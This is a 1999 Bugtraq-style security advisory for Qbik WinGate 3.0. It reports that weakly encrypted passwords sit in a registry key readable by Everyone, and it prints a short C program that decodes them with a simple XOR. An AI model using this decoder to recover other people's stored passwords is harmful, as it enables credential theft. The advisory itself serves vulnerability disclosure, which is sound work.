Qbik WinGate Registry Vulnerability

Bugtraq ID:	511
Class:	Design Error
CVE:
Remote:	No
Local:	Yes
Published:	Feb 22 1999 12:00AM
Updated:	Feb 22 1999 12:00AM
Credit:	eEye Security Advisory AD02221999 published Feb 2, 1999. Exploit code written by Chris <[email protected]> and Mike <[email protected]> of eEye.
Vulnerable:	Qbik WinGate 3.0 - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows NT 3.5.1 - Microsoft Windows NT 4.0
Not Vulnerable:

Qbik WinGate Registry Vulnerability

WinGate stores encrypted passwords in the registry, in a subkey where Everyone has Read access by default. The encryption scheme is weak, and therefore anyone can get and decrypt them.

Qbik WinGate Registry Vulnerability

#include "stdafx.h"
#include <stdio.h>
#include <string.h>

main(int argc, char *argv[]) {
char i;

for(i = 0; i < strlen(argv[1]); i++)
putchar(argv[1][i]^(char)((i + 1) << 1));
return 0;

}

Qbik WinGate Registry Vulnerability

Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].

Qbik WinGate Registry Vulnerability

References:

• eEye Digital Security Team Home Page (eEye)
  
• WinGate Product Homepage (Qbik)